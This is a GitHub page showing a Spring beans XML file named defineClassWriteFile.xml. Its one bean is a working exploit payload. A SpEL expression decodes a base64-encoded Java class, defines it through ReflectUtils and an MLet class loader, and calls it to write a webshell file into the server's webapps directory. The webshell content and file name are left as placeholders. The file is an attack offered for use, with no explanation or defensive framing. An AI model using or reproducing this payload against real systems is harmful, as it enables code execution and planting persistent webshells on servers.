-
Notifications
You must be signed in to change notification settings - Fork 26
Expand file tree
/
Copy pathdefineClassWriteFile.xml
More file actions
11 lines (9 loc) · 2.28 KB
/
defineClassWriteFile.xml
File metadata and controls
11 lines (9 loc) · 2.28 KB
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:spring="http://camel.apache.org/schema/spring"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>
<bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Define',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAOgoADwAjBwAkBwAlBwAmCgAEACMIACcKAAQAKAoABAApCgADACoKAAIAKwoAAgAsCgACAC0HAC4HAC8HADABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACExEZWZpbmU7AQAEdGVzdAEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAQZmlsZU91dHB1dFN0cmVhbQEAGkxqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW07AQADc3RyAQACW0IBAAhmaWxlTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAC4BAApTb3VyY2VGaWxlAQALRGVmaW5lLmphdmEMABAAEQEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQEADGphdmEvaW8vRmlsZQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAId2ViYXBwcy8MADEAMgwAMwA0DAAQADUMABAANgwANwA4DAA5ABEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGRGVmaW5lAQAQamF2YS9sYW5nL09iamVjdAEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABEoTGphdmEvaW8vRmlsZTspVgEABXdyaXRlAQAFKFtCKVYBAAVjbG9zZQAhAA4ADwAAAAAAAgABABAAEQABABIAAAAvAAEAAQAAAAUqtwABsQAAAAIAEwAAAAYAAQAAAAUAFAAAAAwAAQAAAAUAFQAWAAAAAQAXABgAAQASAAAAoQAGAAQAAAAwuwACWbsAA1m7AARZtwAFEga2AAcstgAHtgAItwAJtwAKTi0rtgALLbYADKcABE6xAAEAAAArAC4ADQADABMAAAAaAAYAAAAJACIACgAnAAsAKwAPAC4ADQAvABAAFAAAACoABAAiAAkAGQAaAAMAAAAwABUAFgAAAAAAMAAbABwAAQAAADAAHQAeAAIAHwAAAAcAAm4HACAAAAEAIQAAAAIAIg=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance().test(T(org.springframework.util.Base64Utils).decodeFromString('webshell内容的base64'),'webshell名字')}">
</bean>
</beans>